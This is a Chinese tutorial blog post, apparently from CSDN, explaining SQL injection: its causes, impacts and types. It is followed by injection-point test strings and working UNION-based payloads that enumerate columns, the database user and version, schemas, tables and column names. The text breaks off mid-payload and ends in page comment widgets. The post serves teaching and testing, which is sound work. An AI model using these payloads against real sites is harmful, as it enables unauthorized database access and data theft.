SQL注入漏洞&常用绕过方法

SQL注入漏洞

漏洞描述

Web 程序代码中对于用户提交的参数未做过滤就直接放到 SQL 语句中执行,导致参数中的特殊字符打破了原有的SQL 语句逻辑,黑客可以利用该漏洞执行任意 SQL 语句,如查询数据、下载数据、写入webshell 、执行系统命令以及绕过登录限制等。

SQL 注入漏洞的产生需要满足以下两个条件 :

  • 参数用户可控:从前端传给后端的参数内容是用户可以控制的
  • 参数带入数据库查询:传入的参数拼接到 SQL 语句,且带入数据库查询

漏洞危害

  1. 查询数据
  2. 下载数据
  3. 写入webshell
  4. 执行系统命令
  5. 绕过登录限制

用于测试注入点的语句

and 1=1--+
' and 1=1--+
" and 1=1--+
) and 1=1--+
') and 1=1--+
") and 1=1--+
")) and 1=1--+

漏洞分类

回显:

  • UNION(联合注入)

不回显:

  • 布尔盲注
  • 时间盲注
  • 报错注入

其他:

  • 堆叠注入
  • 二次注入
  • 宽字节注入
  • http头部注入

联合注入

使用场景:有显示位,可以将sql语句执行的结果输出到网页中。

# 查询字段数
?id=1' order by 3 -- -

# 查看回显位
?id=-1' union select 1,2,3-- -

//查询系统
?id=-1' union select 1,concat_ws('_',user(),version(),database()),@@basedir-- -

//查询所有数据库
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata -- -

//查询表
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- -

//查询列名
?id=-1' union select 1,group_concat(column_name),3 from i
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值